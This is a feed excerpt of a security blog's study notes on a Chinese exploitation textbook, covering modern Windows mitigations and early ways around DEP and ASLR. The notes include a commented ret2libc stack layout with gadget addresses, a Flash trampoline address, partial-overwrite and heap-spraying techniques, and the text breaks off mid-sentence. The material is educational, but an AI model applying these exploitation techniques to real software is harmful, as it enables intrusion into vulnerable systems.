created&lt;/td&gt;&lt;td&gt;ret2libc changing permissions, writing your own shellcode&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;CIG (Code Integrity Guard)&lt;/td&gt;&lt;td&gt;Windows 10 (2017, RS3)&lt;/td&gt;&lt;td&gt;The process can only load images signed by Microsoft or another trusted signer&lt;/td&gt;&lt;td&gt;Using third-party modules as trampolines or carriers&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;CET shadow stack (Hardware-enforced Stack Protection)&lt;/td&gt;&lt;td&gt;Windows 10 2004/20H2 (2020)&lt;/td&gt;&lt;td&gt;The CPU keeps a second copy of the return address, and a mismatch on &lt;code&gt;ret&lt;/code&gt; raises an exception&lt;/td&gt;&lt;td&gt;Overwriting the return address, the &lt;code&gt;ret&lt;/code&gt; chain of ROP&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;XFG (eXtended Flow Guard)&lt;/td&gt;&lt;td&gt;Windows 10 2004 (2020)&lt;/td&gt;&lt;td&gt;A stronger CFG that checks indirect call targets against the type signature of the function prototype&lt;/td&gt;&lt;td&gt;Getting around CFG with functions that are “valid but the wrong type”&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;KDP (Kernel Data Protection)&lt;/td&gt;&lt;td&gt;Windows 10 2004 (2020)&lt;/td&gt;&lt;td&gt;Uses VBS to mark parts of kernel memory read-only&lt;/td&gt;&lt;td&gt;Overwriting kernel data and function pointers&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;VBS / HVCI&lt;/td&gt;&lt;td&gt;Since Windows 10, required by default on Win11&lt;/td&gt;&lt;td&gt;Virtualization walls off a trusted zone, and HVCI checks code integrity inside it&lt;/td&gt;&lt;td&gt;Patching code in kernel mode, loading unsigned drivers&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;p&gt;This generation answers exactly the things that kept coming up in the “Looking at it again today” sections of the first four posts:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;The CET shadow stack&lt;/strong&gt; answers the oldest and most stubborn trick of all, overwriting the return address. From the stack overflow in &lt;a href=&quot;/posts/reread-0day-1-stack-overflow-and-shellcode/&quot;&gt;part one&lt;/a&gt; to ROP chains, it all comes down to making &lt;code&gt;ret&lt;/code&gt; go where we want. The shadow stack has the CPU keep its own copy of the return address in hardware to compare against, and on 64-bit processes that support CET, that road is basically closed.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CFG / XFG&lt;/strong&gt; answer the gap from &lt;a href=&quot;/posts/reread-0day-4-dep-and-aslr/&quot;&gt;part four&lt;/a&gt;, “neither GS nor the SEH protections can guard a vtable”. Once GS was everywhere, vtable hijacking became the main road, so CFG checks before every indirect call that the target is valid, and XFG tightens that further by type signature.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ACG / CIG&lt;/strong&gt; answer the “finishing move” of the DEP bypasses. ret2libc/ROP usually ends by calling &lt;code&gt;VirtualProtect&lt;/code&gt; to make the payload executable, or by borrowing a third-party module to land the shellcode in. ACG makes “executable pages can’t be changed again” and CIG makes “only trusted signed images can load”, which shuts both of those footholds at once.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Forced / high-entropy ASLR&lt;/strong&gt; answers the two ASLR gaps from &lt;a href=&quot;/posts/reread-0day-4-dep-and-aslr/&quot;&gt;part four&lt;/a&gt;. Since people used to borrow “some module that forgot to turn on ASLR”, now every module is forced to randomize. Since 32 bits of entropy wasn’t enough, 64-bit gets high entropy.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;KDP / VBS / HVCI&lt;/strong&gt; push the front line into the kernel. They make key kernel data read-only and use virtualization to wall off a trusted zone for code integrity checks, aimed at the idea of moving an attack from user mode up into kernel mode (including kernel exploitation, which this series didn’t really get into).&lt;/li&gt;
&lt;/ul&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Where this line points today&lt;a href=&quot;#where-this-line-points-today&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;With both generations stacked up, a full exploit chain on modern Windows looks like this. You almost certainly need an &lt;strong&gt;info leak&lt;/strong&gt; first, to get the real address of some module or heap (because ASLR means you can’t guess). Then you build the logic with &lt;strong&gt;ROP&lt;/strong&gt; (because DEP won’t let you execute data directly, and CET keeps pushing ROP in harder directions). If you want to hijack an indirect call, you also have to &lt;strong&gt;get past CFG/XFG&lt;/strong&gt;. And if you want a foothold in the kernel, you’re up against &lt;strong&gt;HVCI/KDP&lt;/strong&gt;. In other words, every single trick from the first four posts is useless on its own today, but each one is the “ancestor” of a link in this modern chain. You need to get stack overflows to see what CET is defending against, vtable hijacking to see what CFG is for, and ret2libc to see what ACG is for.&lt;/p&gt;&lt;p&gt;There’s also a rather different road that came out of the ARM world. Windows 11 on ARM uses ideas along the lines of Pointer Authentication, which tucks a cryptographic signature into a pointer and checks it before the pointer is used. It answers the old question of “can someone just change return addresses and function pointers” from another direction, and ends up in the same place as CET.&lt;/p&gt;&lt;p&gt;This tug of war isn’t going to stop, and defense will always be answering the last round of attacks. But that’s exactly why the best place to start, if you want to understand attack and defense today, is going back twenty years and looking at how the first overflows worked. That’s also why I reread this book and put this series together.&lt;/p&gt;&lt;/section&gt;</content:encoded></item><item><title>Rereading 0day Security (4), Early Ways Around DEP and ASLR</title><link>https://blog.lumysia.net/posts/reread-0day-4-dep-and-aslr/</link><guid isPermaLink="true">https://blog.lumysia.net/posts/reread-0day-4-dep-and-aslr/</guid><description>Turning DEP off with ret2libc, making memory executable with VirtualProtect/VirtualAlloc, beating ASLR with partial overwrites, heap spraying to land on 0x0C0C0C0C, vtable hijacking, and how those ideas grew into today&apos;s ROP and info leaks.</description><pubDate>Thu, 19 Nov 2020 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;&lt;p&gt;Part four of “Rereading 0day Security”, lab notes from &lt;em&gt;0day Security: Software Vulnerability Analysis Techniques, 2nd edition&lt;/em&gt; (by failwest and others), written in 2020 and tidied up in 2026. Every trick in the first three posts quietly assumed two things, that data pages can execute and that addresses are fixed. This post is about the two protections aimed at exactly those assumptions. DEP makes data pages non-executable, and ASLR stops addresses from being fixed. Then we look at how people got around them back then. The popup is still the shellcode from &lt;a href=&quot;/posts/reread-0day-1-stack-overflow-and-shellcode/&quot;&gt;part one&lt;/a&gt;, and I won’t paste it all again. Every image these notes had back then is dead now, so words will have to do.&lt;/p&gt;&lt;/blockquote&gt;
&lt;section&gt;&lt;h2&gt;What DEP is&lt;a href=&quot;#what-dep-is&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;The root of overflow attacks is that data and code aren’t kept apart, but redesigning computer architecture isn’t realistic, so all we can do is find ways to make it harder. DEP is one of them:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;Memory pages holding data are marked non-executable, so when an overflow jumps into shellcode, the CPU raises an execution exception&lt;/li&gt;
&lt;li&gt;There’s software DEP and hardware DEP. Software DEP is really just the SafeSEH machinery. Hardware DEP is called NX (No-Execute) on AMD and XD (Execute Disable) on Intel&lt;/li&gt;
&lt;li&gt;The system sets an NX/XD bit for each page in the page tables, where 0 means executable and 1 means not&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;DEP has four modes:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;OptIn: DEP only for system components and services, other programs aren’t protected unless the user marks them by hand. A program can turn this protection off at runtime. Mostly used on ordinary desktop systems&lt;/li&gt;
&lt;li&gt;OptOut: DEP for everything except programs on an exclusion list. Mostly used on servers&lt;/li&gt;
&lt;li&gt;AlwaysOn: DEP forced on for every program, can’t be turned off&lt;/li&gt;
&lt;li&gt;AlwaysOff: rarely used&lt;/li&gt;
&lt;/ul&gt;&lt;blockquote&gt;&lt;p&gt;Fixing what I got wrong back then. The second mode is &lt;strong&gt;OptOut&lt;/strong&gt; (I wrote “Output” at the time). Also, 64-bit processes always have DEP on and can’t turn it off, but that doesn’t mean “AlwaysOn is only for 64-bit”. AlwaysOn is a system-wide policy you can set on a 32-bit system, and it’s a different thing from “64-bit processes are forced to use DEP”.&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;On the program side, linking with &lt;code&gt;/NXCOMPAT&lt;/code&gt; sets &lt;code&gt;IMAGE_DLLCHARACTERISTICS_NX_COMPAT&lt;/code&gt; (&lt;code&gt;0x100&lt;/code&gt;) in &lt;code&gt;DllCharacteristics&lt;/code&gt; of the PE header’s &lt;code&gt;IMAGE_OPTIONAL_HEADER&lt;/code&gt;, saying the program is DEP compatible.&lt;/p&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;The overall idea of beating DEP with ret2libc&lt;a href=&quot;#the-overall-idea-of-beating-dep-with-ret2libc&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;DEP stops you from “running your own code on a data page”. So don’t run your own code. Jump into system functions that already exist and are executable anyway. That’s ret2libc (Return-to-libc), where every step of the exploit is replaced by code that’s already sitting in a system lib. The hard part is that not every instruction address is free of &lt;code&gt;0x00&lt;/code&gt;, and chained jumps go wrong easily.&lt;/p&gt;&lt;p&gt;The book gives three workable routes:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;Jump to &lt;code&gt;ZwSetInformationProcess&lt;/code&gt; to turn DEP off for this process, then go run the shellcode&lt;/li&gt;
&lt;li&gt;Jump to &lt;code&gt;VirtualProtect&lt;/code&gt; to make the shellcode’s page executable, then run it&lt;/li&gt;
&lt;li&gt;Jump to &lt;code&gt;VirtualAlloc&lt;/code&gt; to get some executable memory, copy the shellcode there and run it&lt;/li&gt;
&lt;/ul&gt;&lt;section&gt;&lt;h3&gt;Turning DEP off with ZwSetInformationProcess&lt;a href=&quot;#turning-dep-off-with-zwsetinformationprocess&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;A process’s DEP flags live in &lt;code&gt;_KEXECUTE_OPTION&lt;/code&gt; inside &lt;code&gt;KPROCESS&lt;/code&gt;:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Pos0&lt;/span&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;ExecuteDisable&lt;/span&gt;&lt;span&gt;        : &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Pos1&lt;/span&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;ExecuteEnable&lt;/span&gt;&lt;span&gt;         : &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Pos2&lt;/span&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;DisableThunkEmulation&lt;/span&gt;&lt;span&gt; : &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Pos3&lt;/span&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;Permanent&lt;/span&gt;&lt;span&gt;             : &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Pos4&lt;/span&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;ExecuteDispatchEnable&lt;/span&gt;&lt;span&gt; : &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Pos5&lt;/span&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;ImageDispatchEnable&lt;/span&gt;&lt;span&gt;   : &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Pos6&lt;/span&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;Spare&lt;/span&gt;&lt;span&gt;                 : &lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;With DEP on, &lt;code&gt;ExecuteDisable=1&lt;/code&gt;. With it off, &lt;code&gt;ExecuteEnable=1&lt;/code&gt;. Once &lt;code&gt;Permanent=1&lt;/code&gt;, these flags are locked and can’t change. All we need is to set this value to &lt;code&gt;0x02&lt;/code&gt; (&lt;code&gt;ExecuteEnable=1&lt;/code&gt;) and DEP is off. The matching call is:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;ULONG&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;ExecuteFlags&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;MEM_EXECUTE_OPTION_ENABLE&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;span&gt;  // 0x2&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;ZwSetInformationProcess&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;NtCurrentProcess&lt;/span&gt;&lt;span&gt;(),&lt;/span&gt;&lt;span&gt;   // -1&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;ProcessExecuteFlags&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;  // 0x22&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;&amp;amp;&lt;/span&gt;&lt;span&gt;ExecuteFlags&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;sizeof&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;ExecuteFlags&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;span&gt;  // 0x4&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;Note&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;Test setup: Windows XP SP3, DEP=OptOut, VC6, optimizations off, release.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Stitching this call together on the stack with ret2libc is the most twisty part of the whole post. The stack layout is roughly:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;... overflow padding ...&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;52 E2 92 7C   ; address of a &quot;mov eax,1; ret&quot; (it later checks whether al is 1)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;96 73 1B 5D   ; &quot;push esp; pop ebp; retn N&quot; to repair ebp&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;1E AD 17 5D   ; raise esp by another 0x24 to make 0x30 of stack space&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;B4 C1 C5 7D   ; jmp esp&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;90 90 90 90&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;24 CD 93 7C   ; call ZwSetInformationProcess (turn DEP off)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;90 90 E9 2D   ; jmp to the real shellcode&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;9&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;FF FF FF 90&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Here’s the idea. The first &lt;code&gt;ret&lt;/code&gt; goes to &lt;code&gt;mov eax,1&lt;/code&gt;. The call needs to read ebp, which the overflow already trashed, so &lt;code&gt;push esp; pop ebp; retn N&lt;/code&gt; copies esp into ebp. But &lt;code&gt;retn N&lt;/code&gt; adds N, leaving ebp smaller than esp, and calling a subroutine would then wreck the stack, so esp gets raised by 0x24 to make 0x30 of space. &lt;code&gt;retn 0x24&lt;/code&gt; returns to where &lt;code&gt;ZwSetInformationProcess&lt;/code&gt; gets called. After DEP is off, &lt;code&gt;leave; ret&lt;/code&gt; comes back to the &lt;code&gt;jmp esp&lt;/code&gt;, which jumps to the junk data after it, and one last jump lands in the shellcode itself.&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Changing permissions with VirtualProtect&lt;a href=&quot;#changing-permissions-with-virtualprotect&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Instead of turning DEP off, change the shellcode’s page to executable. &lt;code&gt;VirtualProtect(address, size, 0x40, some writable address)&lt;/code&gt;, where the &lt;code&gt;flNewProtect=0x40&lt;/code&gt; argument is &lt;code&gt;PAGE_EXECUTE_READWRITE&lt;/code&gt;. The arguments contain &lt;code&gt;0x00&lt;/code&gt;, so the trigger function switches from strcpy to memcpy. The stack layout starts with the ebp repair, then the VirtualProtect address, a return address, the four arguments, and finally the shellcode itself. Once the call finishes, the page is executable, and it returns to the start of the shellcode.&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Getting new memory with VirtualAlloc&lt;a href=&quot;#getting-new-memory-with-virtualalloc&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;LPVOID&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;VirtualAlloc&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;LPVOID&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;lpAddress&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;/span&gt;&lt;span&gt;SIZE_T&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;dwSize&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;                    &lt;/span&gt;&lt;span&gt;DWORD&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;flAllocationType&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;/span&gt;&lt;span&gt;DWORD&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;flProtect&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;First use VirtualAlloc to get some executable memory, then memcpy to copy the shellcode over, and when memcpy returns it goes straight to the start of the shellcode in the new memory. The stack layout is just VirtualAlloc’s four arguments followed by memcpy’s three, laid out in order.&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Two routes I couldn’t finish&lt;a href=&quot;#two-routes-i-couldnt-finish&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;Borrowing existing RWX memory. Sometimes a process has a region that’s readable, writable and executable, so you copy the shellcode in and hijack the flow. Sadly I couldn’t find such a region in the processes I tested back then, so this lab never got finished&lt;/li&gt;
&lt;li&gt;Borrowing .NET sections. .NET files also have sections like &lt;code&gt;.text&lt;/code&gt; that get mapped with execute permission, so you put the shellcode in the executable section of a .NET control and have the vulnerable ActiveX control jump there. The idea holds up, and the Java Applet route is similar, but both got stuck back then because I couldn’t find the right versions, so I never finished them&lt;/li&gt;
&lt;/ul&gt;&lt;hr /&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;What ASLR is&lt;a href=&quot;#what-aslr-is&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Every method so far needs a known jump address first, whether that’s &lt;code&gt;jmp esp&lt;/code&gt; or the instructions ret2libc chains together. If you can’t beat the attack, dodge it. ASLR (Address Space Layout Randomization) stops using fixed base addresses at load time, which messes with shellcode trying to find things.&lt;/p&gt;&lt;p&gt;ASLR existed as an idea back in the XP days, but XP only did a simple randomization of the PEB/TEB and didn’t touch module base addresses. It only really started working in Vista. Like SafeSEH, it needs support from both the program and the system, though the program’s part isn’t strictly required. A program built with &lt;code&gt;/dynamicbase&lt;/code&gt; (since VS2005 SP1) sets &lt;code&gt;IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE&lt;/code&gt; in its PE header, and that’s ASLR support.&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;Image randomization: when a PE is mapped into memory, its virtual load address is randomized. The address is picked when the system boots and only changes after a reboot. There’s a registry switch &lt;code&gt;...\Memory Management\MoveImages&lt;/code&gt;, where &lt;code&gt;0&lt;/code&gt; disables it, &lt;code&gt;-1&lt;/code&gt; forces randomization (whether or not the image has the flag), and anything else is normal mode (only images with the flag get randomized)&lt;/li&gt;
&lt;li&gt;Stack and heap randomization: the stack and heap bases are picked randomly when the program runs. Unlike images, this is decided when the program starts, so the same program gets different stack and heap bases on two runs. Back then I ran it twice each on XP and Vista to compare. On Vista the heap addresses were far apart, on XP they were identical&lt;/li&gt;
&lt;li&gt;PEB/TEB randomization: worked badly in my tests. The PEB was randomized by only one byte, in a very regular pattern, and the TEB basically never changed&lt;/li&gt;
&lt;/ul&gt;&lt;section&gt;&lt;h3&gt;Gaps in ASLR&lt;a href=&quot;#gaps-in-aslr&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Here’s the key thing. Image randomization only changes the high bits, and &lt;strong&gt;the low two bytes&lt;/strong&gt; of every instruction address in a module stay the same. For example, if base &lt;code&gt;0x00401234&lt;/code&gt; gets randomized to &lt;code&gt;0x67291234&lt;/code&gt;, the low &lt;code&gt;1234&lt;/code&gt; is untouched. That leaves two openings.&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Opening one, borrow a module without ASLR&lt;a href=&quot;#opening-one-borrow-a-module-without-aslr&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;blockquote&gt;&lt;p&gt;Lab setup: Windows Vista SP0, IE7, Adobe Flash Player 9.0.124 (the book wants 9.0.262; if you can’t find it, 9.0.124 works instead).&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;Flash9k.ocx doesn’t use ASLR, so its load base is fixed and you can find trampolines in it. The lab control has no GS and IE7 has DEP off, so all it takes is overwriting the return address and using &lt;code&gt;jmp esp&lt;/code&gt; to get back to the shellcode on the stack. Finding a trampoline was a whole string of traps. Several &lt;code&gt;jmp esp&lt;/code&gt; addresses, read as bytes, formed instructions that touched eax/ecx (like &lt;code&gt;imul esp, [eax+0x1D], 0x30&lt;/code&gt;), and those registers didn’t point anywhere valid, with no good fix-up instruction to be found. The &lt;code&gt;jmp esi&lt;/code&gt; candidates either contained &lt;code&gt;0x00&lt;/code&gt;, ended in &lt;code&gt;retn&lt;/code&gt;, or threw an exception right away. What finally worked was the &lt;code&gt;CALL ESP&lt;/code&gt; at &lt;code&gt;0x300942F2&lt;/code&gt; (which also raises esp by 8 bytes, conveniently skipping the junk). The shellcode still ran after rebooting the system, so the ASLR bypass worked.&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Opening two, partial overwrite&lt;a href=&quot;#opening-two-partial-overwrite&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Since the low two bytes aren’t randomized, overwrite only the low two bytes of the return address (off-by-word) and leave the high bits alone, and the trampoline always works. Attacking memcpy lets you land anywhere in &lt;code&gt;0xXXXX0000&lt;/code&gt;&lt;code&gt;0xXXXXFFFF&lt;/code&gt;, and attacking a str function in &lt;code&gt;0xXXXX0100&lt;/code&gt;&lt;code&gt;0xXXXX00FF&lt;/code&gt;. Find a &lt;code&gt;jmp eax&lt;/code&gt; in the program, put the low word of its address in, get the buffer size right, and overflow.&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;Lab setup: Vista SP0, DEP=OptIn default, VS2008, optimizations off, GS off, &lt;code&gt;/NXCOMPAT:NO&lt;/code&gt;, release. Build it, run it, and the popup appears, even after a reboot. This trick is still useful today. Modern ASLR has much more entropy, but the offset within a page (the low 12 bits) is never randomized, so partial overwrites are still a common move when you don’t have enough of an info leak.&lt;/p&gt;&lt;/blockquote&gt;&lt;hr /&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Heap spraying, finding shellcode in a browser&lt;a href=&quot;#heap-spraying-finding-shellcode-in-a-browser&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;ASLR means you don’t know where the shellcode is. Heap spraying (Heap Spray) flips the problem around: fill memory up so that “pretty much any address” lands on shellcode.&lt;/p&gt;&lt;p&gt;Browser attacks often use the stack and the heap together. Triggering the bug gets you EIP, but browser memory is complicated and it’s hard to locate the complete shellcode directly. JavaScript on the page can allocate heap memory, though, so you use JS to lay the shellcode out on the heap. The move is to point EIP at &lt;code&gt;0x0C0C0C0C&lt;/code&gt;, then have JS allocate lots of heap memory and fill it with chunks of “a big run of &lt;code&gt;0x90&lt;/code&gt; + shellcode”. JS usually allocates from low addresses up, so after more than 200MB, &lt;code&gt;0x0C0C0C0C&lt;/code&gt; is covered by one of the chunks. As long as it lands in that chunk’s NOP area, it slides down into the shellcode and 